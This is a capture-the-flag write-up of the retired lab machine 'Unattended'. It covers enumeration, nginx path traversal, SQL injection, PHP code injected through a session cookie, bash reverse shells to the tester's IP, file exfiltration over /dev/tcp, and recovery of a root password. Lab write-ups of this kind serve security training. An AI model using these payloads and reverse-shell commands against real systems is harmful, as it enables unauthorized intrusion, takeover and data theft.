This is the write-up for the box Unattended that got retired at the 24th August 2019. My IP address was 10.10.14.4 while I did this.
Let's put this in our hosts file:
10.10.10.126 unattended.htb
Starting with a Nmap scan:
nmap -sC -sV -o nmap/unattended.nmap 10.10.10.126
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.nestedflanders.htb/organizationName=Unattended ltd/stateOrProvinceName=IT/countryName=IT
| Not valid before: 2018-12-19T09:43:58
|_Not valid after: 2021-09-13T09:43:58
Adding nestedflanders.htb to my hosts file.
Browsing to both sites with the IP address gives us a blank page and browsing to www[.]nestedflanders.htb gives us the default Apache2 page. We will run gobuster against this to get any directories:
gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dir -u http://10.10.10.126/
gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dir -u https://10.10.10.126/ -k
gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dir -u http://www.nestedflanders.htb -k
The pages with SSL need the -k parameter to skip SSL verification. We get the following directories:
- /.htacces
- /.hta
- /.htpasswd
- /dev
- index.html
- index.php
All of them give us the HTTP code 403 Forbidden except for /dev that gives us a 301 Moved Temporarily and says:
dev site has been moved to his own server
On index.php we find a real web page with more information.
### main (/index.php?id=25)
Hello visitor,
we are very sorry to show you this ridiculous page but we had to restore our website to 2001-layout.
As a partial recover, we offer you a printed portfolio: just drop us an email with a contact request.
### about (/index.php?id=465)
Hello visitor,
our Company is world wide leading expert about Nesting stuff.
We can nest almost everything after or before anything based on your needs.
Feel free to contact us with usual email addresses, our contact form is currently offline because of a recent attack.
### contact (/index.php?id=587)
Hello visitor,
thanks for getting in touch with us!
Unfortunately our server is under *heavy* attack and we disable almost every dynamic page.
Please come back later.
The most interesting about this, is that those 3 pages all have a different value in the id query. This page gets confused when we put a trailing single quote at the end of the query:
hxxps://www.nestedflanders.htb/index.php?id=465'
This brings us back to to the main page so we definitely got a SQL Injection here.
When we examine the /dev directory in Burpsuite we can see it adds a trailing slash at the end of the path and that is the location were we are redirected. As we know that this is nginx, we can abuse a misconfiguration that breaks the parser logic of that. In short it looks like this:
GET /dev../html/index.php
And this gives us the source code of index.php. This file can be found in this repository as it has important information.
- $username = "nestedflanders";
- $password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e";
- include "6fb17817efb4131ae4ae1acae0f7fd48.php";
- /* removed everything because of undergoing investigation, please check dev and staging */
- Sending every cookie into our session
We will abuse 6fb17817efb4131ae4ae1acae0f7fd48.php to execute PHP code for us on the server.
If we try out some SQLi we find out that we get different responses with UNION Injections. For example like this, we get no content on the page:
GET /index.php?id=465'+union+select+1--+-
Lets send the request to SQLMap:
GET /index.php?id=465 HTTP/1.1
Host: www.nestedflanders.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=pj052g0hbe1jsbslvn86d0bg51
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
sqlmap -r id.req -p id --batch
sqlmap -r id.req -p id --batch --dbs
- We get the table neddy (that we also can find in the source code)
sqlmap -r id.req -p id --batch -D neddy --tables
We got the tables from SQLMap:
+--------------+
| config |
| customers |
| employees |
| filepath |
| idname |
| offices |
| orderdetails |
| orders |
| payments |
| productlines |
| products |
+--------------+
Now that we know how our SQL Injection has to look like we are combining that with the flaw in 6fb17817efb4131ae4ae1acae0f7fd48.php file to get command execution.
We need to find out the path where PHP stores its sessions. This can be found by searching the internet and trying all the paths. In this case it was found in /var/lib/php/sessions/. The name of the cookie obviously varies.
GET /index.php?testquery=whoami&id=587'+union+select+"1'+union+select+'/var/lib/php/sessions/sess_so39f3vkekuiop1sanumspvt93'--+-"--+- HTTP/1.1
Host: www.nestedflanders.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.nestedflanders.htb/index.php?id=465
Cookie: PHPSESSID=so39f3vkekuiop1sanumspvt93; Test=<?php system($_GET['testquery']) ?>
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
This responses with the web page and gives us the output of whoami and we are www-data:
(...)
<!-- <div align="center"> -->
PHPSESSID|s:26:"so39f3vkekuiop1sanumspvt93";Test|s:35:"www-data
";<!-- </div> -->
(...)
Now we can get a Bash reverse shell by replacing whoami with:
bash -c 'bash -i >& /dev/tcp/10.10.14.4/443 0>&1'
When we want to upgrade our shell with Pythons pty module, we will see that there is no Python installed on the server. Instead we can use the script command:
script -qc /bin/bash /dev/null
We got the password of the MySQL database from the index.php file and we know there are a lot of different tables there, so we will look into that.
mysql -u nestedflanders -D neddy -p
Looking at the tables we see the same as SQLMap enumerated for us:
show tables;
+-----------------+
| Tables_in_neddy |
+-----------------+
| config |
| customers |
| employees |
| filepath |
| idname |
| offices |
| orderdetails |
| orders |
| payments |
| productlines |
| products |
+-----------------+
If we look at the config table we find some interesting things:
select * from config;
+-----+-------------------------+--------------------------------------------------------------------------+
| id | option_name | option_value |
+-----+-------------------------+--------------------------------------------------------------------------+
| 86 | checkrelease | /home/guly/checkbase.pl;/home/guly/checkplugins.pl; |
+-----+-------------------------+--------------------------------------------------------------------------+
This looks like it automatically executes a perl script in some intervals. If we replace this with another reverse shell, we should have escalated our privileges to the guly user.
update config set option_value = "bash -c 'bash -i >& /dev/tcp/10.10.14.4/80 0>&1'" where id = '86';
This updates the value to our reverse shell and our listener gets a callback after some seconds and we are the user guly on it!
We should run a Linux Enumerator script on this machine like LinEnum.sh. After running that, the following information are interesting:
- User guly is member of group grub
- /dev/mapper/sda2_crypt
This could be a hint to modify grub in order to encrypt this special drive. Looking for files that the group grub owns:
find / -group grub -ls 2>/dev/null
We get one file /boot/initrd.img-4.9.0-8-amd64 and download this to our local machine to examine it:
On client: nc -lvnp 80 > initrd.img
On box: cat /boot/initrd.img-4.9.0-8-amd64 > /dev/tcp/10.10.14.4/80
It is a gzip compressed file that we can encrypt:
zcat initrd.img | cpio -idmv
And now we get a file structure from a / folder. We should narrow our target down by looking for files between the creation date of the SSL file (19-12-2018) and two days after:
find . -type f -newermt 2018-12-19 ! -newermt 2018-12-21 -ls
As we want to decrypt something there are displayed two files that could be interesting:
- /scripts/local-top/cryptroot
In this script we find that /sbin/uinitrd c0m3s3f0ss34nt4n1 gets executed and this is not a standard binary so we execute it from the path, too and get the output:
supercazzola
After trying to authenticate with this it fails, so we want to run that binary directly on the box but we see that only root can execute it.
If we analyze this binary with strace we can see that the binary reads the following files:
- open("/etc/hostname", O_RDONLY)
- open("/boot/guid", O_RDONLY)
Replacing the contents of these files on our client with the contents of the img file:
/boot/guid: C0B604A4-FE6D-4C14-A791-BEB3769F3FBA
/etc/hostname: unattended
And then we run ./sbin/uinitrd c0m3s3f0ss34nt4n1 again and get the following output:
132f93ab100671dcb263acaf5dc95d8260e8b7c6
If we try to su - with the guly user with this password, the authentication works and we are root!